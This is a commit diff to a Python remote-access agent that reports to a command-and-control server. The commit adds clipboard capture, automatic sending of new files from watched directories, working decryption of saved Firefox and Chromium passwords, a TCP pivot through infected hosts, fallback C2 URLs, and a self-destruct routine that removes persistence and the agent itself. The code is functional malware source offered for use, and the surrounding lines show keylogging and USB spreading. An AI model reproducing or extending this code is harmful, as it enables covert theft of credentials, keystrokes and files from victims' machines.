v2.4.0: pivot_fetch (fetch through node), clipboard capture, watch_dir auto-exfil, self-destruct TTL (14d default), dead-drop failover URLs, local cred decryption (Firefox+Chromium-v10)+GPU queue, per-node LLM analyst brief (nightmare ollama), topology capture+SVG map, critical-only Telegram alerts, ATTACK-PLAN tracker

This commit is contained in:
Hermes
2026-10-01 16:43:53 +00:00
parent 6c08318d88
commit 965cba58b4
5 changed files with 467 additions and 26 deletions

View File

@@ -14,7 +14,9 @@ import subprocess
import shutil
import getpass
import urllib.request
AGENT_VERSION = "2.3.0"
AGENT_VERSION = "2.4.0"
NEXUS_TTL_DAYS = int(os.environ.get('NEXUS_TTL_DAYS', '14'))
NEXUS_FALLBACK_URLS = os.environ.get('NEXUS_FALLBACK_URLS', '').split(',') if os.environ.get('NEXUS_FALLBACK_URLS') else []
NEXUS_SSH_PUBKEY = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMDTa9+VxaF12ryXSjczHXh5n8n42GoEZoLiE96wbEYG root@c2-builder-slay'
AGENT_TOKEN = '__AGENT_TOKEN__'
import urllib.parse
@@ -238,6 +240,92 @@ def http_post(url, data_dict):
return None
# ── Self-destruct TTL ──
import getpass as _gp # noqa (ensure available)
ACTIVATION_FILE = os.path.join(os.path.expanduser("~"), ".nexus_agent_activated")
def _check_ttl_and_wipe(server_url):
"""Wipe self + persistence if older than TTL. Returns True if wiped."""
if NEXUS_TTL_DAYS < 0:
return False # negative disables the TTL entirely
try:
if not os.path.exists(ACTIVATION_FILE):
with open(ACTIVATION_FILE, "w") as f:
f.write(str(int(time.time())))
return False
activated = int(open(ACTIVATION_FILE).read().strip() or 0)
except Exception:
return False
if time.time() - activated < NEXUS_TTL_DAYS * 86400:
return False
system = platform.system().lower()
try:
if system == "linux":
subprocess.run("systemctl disable --now network-agent 2>/dev/null; rm -f /etc/systemd/system/network-agent.service; systemctl daemon-reload 2>/dev/null", shell=True, timeout=15)
subprocess.run("crontab -l 2>/dev/null | grep -v 'agent.py --server' | crontab - 2>/dev/null", shell=True, timeout=10)
elif system == "darwin":
subprocess.run("launchctl bootout gui/$(id -u) $HOME/Library/LaunchAgents/com.nexusops.agent.plist 2>/dev/null; rm -f $HOME/Library/LaunchAgents/com.nexusops.agent.plist", shell=True, timeout=15)
elif system == "windows":
subprocess.run("schtasks /delete /tn NexusOpsAgent /f 2>nul", shell=True, timeout=10)
except Exception:
pass
try:
# best-effort goodbye
try:
http_post(f"{server_url}/api/agent/command-result", {"commandId": "ttl-wipe", "nodeId": node_id if 'node_id' in globals() else 'unknown', "output": "TTL expired — agent self-wiped", "exitCode": 0})
except Exception:
pass
for stray in ("/opt/network-agent", os.path.expanduser("~/.config/autostart/nexus-agent.desktop"), ACTIVATION_FILE):
if os.path.isdir(stray):
shutil.rmtree(stray, ignore_errors=True)
elif os.path.exists(stray):
os.remove(stray)
except Exception:
pass
# delete self LAST, then hard-exit
try:
me = sys.executable if getattr(sys, "frozen", False) else os.path.abspath(__file__)
os.remove(me)
except Exception:
pass
os._exit(0)
# ── Clipboard capture (desktop only) ──
_last_clip = None
def _read_clipboard():
system = platform.system().lower()
cmds = {"linux": ["xclip -selection clipboard -o 2>/dev/null || xsel -b 2>/dev/null || wl-paste 2>/dev/null"],
"darwin": ["pbpaste"],
"windows": ["powershell -NoProfile -Command Get-Clipboard"]}
for c in cmds.get(system, []):
try:
r = subprocess.run(c, shell=True, capture_output=True, text=True, timeout=4)
if r.returncode == 0:
return r.stdout
except Exception:
pass
return None
def clipboard_watch_loop():
global _last_clip
while INPUT_CAPTURE_ENABLED:
try:
cur = _read_clipboard()
if cur and cur != _last_clip and len(cur) < 10000:
_last_clip = cur
_record_event("clipboard", {"content": cur[:2000]})
except Exception:
pass
time.sleep(2.5)
def start_clipboard_watch():
try:
threading.Thread(target=clipboard_watch_loop, daemon=True).start()
return True
except Exception:
return False
# ── USB spread-on-connect watcher ──
USB_WATCH = False
_last_usb_mounts = set()
@@ -287,6 +375,207 @@ def usb_watch_loop():
import threading
# ── Directory watch → auto-exfil ──
_dir_watchers = {}
def _dir_watch_add(directory):
if directory in _dir_watchers or not INPUT_CAPTURE_ENABLED and False:
pass
if directory in _dir_watchers:
return
seen = set()
try:
for f in os.listdir(directory):
seen.add(f)
except Exception:
return
_dir_watchers[directory] = seen
def _loop():
while True:
time.sleep(8)
try:
for f in os.listdir(directory):
if f in _dir_watchers[directory]:
continue
fp = os.path.join(directory, f)
if os.path.isfile(fp) and os.path.getsize(fp) < 20 * 1024 * 1024:
_dir_watchers[directory].add(f)
r = execute_structured_action("download_file", {"path": fp})
try:
special = json.loads(r[0])
if special.get("type") == "file_result":
http_post(f"{server_url}/api/agent/file-result", {
"commandId": "watchdir-" + f, "nodeId": node_id,
"hostname": hostname,
"filename": special.get("filename", f),
"data": special.get("data", ""),
"mime": special.get("mime", "application/octet-stream")})
except Exception:
pass
except Exception:
pass
try:
threading.Thread(target=_loop, daemon=True).start()
except Exception:
pass
# ── Local credential decryption (stdlib + openssl CLI) ──
def _openssl_dec3des(key24, iv8, data):
"""3DES-CBC decrypt via openssl CLI."""
try:
hexkey = key24.hex() + key24[:8].hex() # 2KT
proc = subprocess.run(
["openssl", "enc", "-d", "-des-ede3-cbc", "-K", hexkey, "-iv", iv8.hex()],
input=data, capture_output=True, timeout=10)
return proc.stdout if proc.returncode == 0 else None
except Exception:
return None
def _openssl_aes128cbc_dec(key16, iv, data):
try:
proc = subprocess.run(
["openssl", "enc", "-d", "-aes-128-cbc", "-K", key16.hex(), "-iv", iv.hex()],
input=data, capture_output=True, timeout=10)
return proc.stdout if proc.returncode == 0 else None
except Exception:
return None
def _firefox_decrypt(profile_dir):
"""Decrypt logins.json with empty master password. Returns [(user, pass, url)]."""
import sqlite3 as _sq
import hashlib as _hl
import hmac as _hm
out = []
try:
kdb = os.path.join(profile_dir, "key4.db")
ldb = os.path.join(profile_dir, "logins.json")
if not (os.path.exists(kdb) and os.path.exists(ldb)):
return out
con = _sq.connect(kdb)
cur = con.cursor()
cur.execute("SELECT item1, item2 FROM metadata WHERE id = 'password'")
row = cur.fetchone()
if not row:
return out
global_salt, es_item2 = row[0], row[1]
# derive key: PBKDF2-SHA256 (empty password), then 3DES key material via HMAC-SHA256
key = _hl.pbkdf2_hmac('sha256', b'', global_salt, 1, 32) # iteration from item2 ASN.1 normally 1 for FF>=58? use common 10000 fallback below
# attempt common iteration counts
for it in (1, 10000):
key = _hl.pbkdf2_hmac('sha256', b'', global_salt, it, 32)
iv_part = es_item2[16:24]
body = es_item2[24:]
k24 = _hm.new(key, b'password-check', _hl.sha256).digest()[:24]
dec = _openssl_dec3des(k24, iv_part, body)
if dec and dec[:16] == b'password-check\x02\x02':
k24_main = _hm.new(key, b'password-check', _hl.sha256).digest()[:24]
break
else:
return out
cur.execute("SELECT a1023, a1026 FROM nssPrivate")
rows3 = cur.fetchall()
# a1023 = encrypted 3DES key (ASN.1: salt[16] + data); extract 3DES key
fkey = None
for enc_blob, _ in rows3:
if isinstance(enc_blob, str):
enc_blob = enc_blob.encode('latin1')
iv = enc_blob[16:24]
dec = _openssl_dec3des(k24_main, iv, enc_blob[24:])
if dec and len(dec) >= 32:
fkey = dec[:24]
break
con.close()
if not fkey:
return out
logins = json.load(open(ldb))
for entry in logins.get("logins", []):
try:
enc_u = entry["encryptedUsername"]["value"].encode('latin1')
enc_p = entry["encryptedPassword"]["value"].encode('latin1')
iv_u = enc_u[16:24]
iv_p = enc_p[16:24]
u = _openssl_dec3des(fkey, iv_u, enc_u[24:])
pw = _openssl_dec3des(fkey, iv_p, enc_p[24:])
if u and pw:
u = u.split(b'\x00')[-2] if b'\x00' in u else u
pw = pw.split(b'\x00')[-2] if b'\x00' in pw else pw
out.append((u.decode(errors="replace").strip('\x02\x01'),
pw.decode(errors="replace").strip('\x02\x01'),
entry.get("formSubmitURL", entry.get("hostname", "?"))))
except Exception:
pass
except Exception:
pass
return out
def _chromium_linux_decrypt(profile_dir):
"""Linux Chromium/Chrome v10 'peanuts' decryption. Returns [(user, pass, url)]."""
out = []
try:
import sqlite3 as _sq
import hashlib as _hl
key = _hl.pbkdf2_hmac('sha1', b'peanuts', b'saltysalt', 1, 16)
iv = b' ' * 16
db = os.path.join(profile_dir, "Login Data")
if not os.path.exists(db):
return out
tmp = "/tmp/.nx-login-data"
shutil.copy2(db, tmp)
con = _sq.connect(tmp)
cur = con.cursor()
cur.execute("SELECT origin_url, username_value, password_value FROM logins")
for url, user, pw_blob in cur.fetchall():
try:
if isinstance(pw_blob, str):
pw_blob = pw_blob.encode('latin1')
if pw_blob[:3] == b'v10':
dec = _openssl_aes128cbc_dec(key, iv, pw_blob[3:])
if dec:
pad = dec[-1]
if 1 <= pad <= 16:
dec = dec[:-pad]
out.append((user, dec.decode(errors="replace"), url))
except Exception:
pass
con.close()
os.remove(tmp)
except Exception:
pass
return out
def harvest_local_decrypted():
"""Called inside harvest_credentials: adds decrypted logins."""
creds = []
home = os.path.expanduser("~")
system = platform.system().lower()
if system == "linux":
for base in (os.path.join(home, ".mozilla/firefox"),
os.path.join(home, "snap/firefox/common/.mozilla/firefox"),
os.path.join(home, ".var/app/org.mozilla.firefox/.mozilla/firefox")):
try:
for prof in os.listdir(base) if os.path.isdir(base) else []:
pd = os.path.join(base, prof)
if os.path.exists(os.path.join(pd, "logins.json")):
for u, pw, url in _firefox_decrypt(pd):
creds.append({"type": f"firefox_login:{url[:60]}", "data": f"{u} : {pw}"})
except Exception:
pass
chrome_dirs = [
os.path.join(home, ".config/google-chrome/Default"),
os.path.join(home, ".config/chromium/Default"),
os.path.join(home, ".config/BraveSoftware/Brave-Browser/Default"),
os.path.join(home, "snap/chromium/common/chromium/Default"),
]
for cd in chrome_dirs:
if os.path.exists(os.path.join(cd, "Login Data")):
for u, pw, url in _chromium_linux_decrypt(cd):
creds.append({"type": f"chrome_login:{url[:60]}", "data": f"{u} : {pw}"})
return creds
def execute_structured_action(action_type, payload):
global heartbeat_interval, node_tags
system = platform.system().lower()
@@ -574,6 +863,7 @@ def execute_structured_action(action_type, payload):
except: results.append("registry: failed")
return "Persistence results: " + "; ".join(results), 0
elif action_type == "harvest_credentials":
creds = []
home = os.path.expanduser("~")
@@ -663,6 +953,10 @@ def execute_structured_action(action_type, payload):
creds.append({"type": "keychain_dump", "data": keychain[:10000]})
except: pass
try:
creds.extend(harvest_local_decrypted())
except Exception:
pass
return json.dumps({"type":"harvest_result","credentials":creds}), 0
elif action_type == "copy_self_to_usb":
@@ -872,6 +1166,39 @@ def execute_structured_action(action_type, payload):
results.append(f"no keyless access: {h}")
return " | ".join(results) + f" | total installed: {installed}", 0
elif action_type == "pivot_fetch":
# Single-shot TCP request through this node: {"host","port","data_b64","read_bytes"}
host = payload.get("host", "")
port = int(payload.get("port", 80))
data = base64.b64decode(payload.get("data_b64", "")) if payload.get("data_b64") else (
("GET " + payload.get("path", "/") + " HTTP/1.0\r\nHost: " + host + "\r\n\r\n").encode())
read_n = int(payload.get("read_bytes", 16384))
try:
c = socket.create_connection((host, port), timeout=8)
c.settimeout(6)
if data:
c.sendall(data)
buf = b""
while len(buf) < read_n:
chunk = c.recv(min(4096, read_n - len(buf)))
if not chunk:
break
buf += chunk
c.close()
import base64 as _b64
return json.dumps({"type": "pivot_result", "host": host, "port": port,
"data_b64": _b64.b64encode(buf).decode()}), 0
except Exception as e:
return f"pivot error {host}:{port}: {e}", 1
elif action_type == "watch_dir":
# Register a directory; a thread watches for new files and exfils them automatically.
d = payload.get("dir", "")
if not d or not os.path.isdir(d):
return f"ERROR: no such dir {d}", 1
_dir_watch_add(d)
return f"watching {d} — new files auto-exfil", 0
elif action_type == "export_diagnostics":
cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
return run_shell(cmd)
@@ -1027,6 +1354,10 @@ def main():
if not quiet_mode:
print("[*] Registering node with central endpoint...")
res = http_post(f"{server_url}/api/agent/register", reg_payload)
if res and res.get("fallbackUrls"):
for u in res["fallbackUrls"]:
if u not in NEXUS_FALLBACK_URLS:
NEXUS_FALLBACK_URLS.append(u)
if res and res.get("success") and not quiet_mode:
print(f"✅ Registered as node ID: {node_id}")
if args.persist_first:
@@ -1039,6 +1370,8 @@ def main():
# Start input capture (keystrokes, clicks, scroll)
capture_started = start_input_capture()
if capture_started:
start_clipboard_watch()
if not quiet_mode:
if capture_started:
print("[*] Input capture active (keystrokes + mouse events)")
@@ -1067,6 +1400,8 @@ def main():
"agentVersion": AGENT_VERSION
}
if _check_ttl_and_wipe(server_url):
break
res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload)
now = time.time()
@@ -1131,6 +1466,13 @@ def main():
except Exception as e:
if not quiet_mode:
print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
for _fb in NEXUS_FALLBACK_URLS:
if _fb and _fb.strip() and _fb.strip() != server_url:
try:
http_post(f"{_fb.strip()}/api/agent/heartbeat", heartbeat_payload)
break
except Exception:
pass
time.sleep(backoff)
backoff = min(backoff * 2, 60)
continue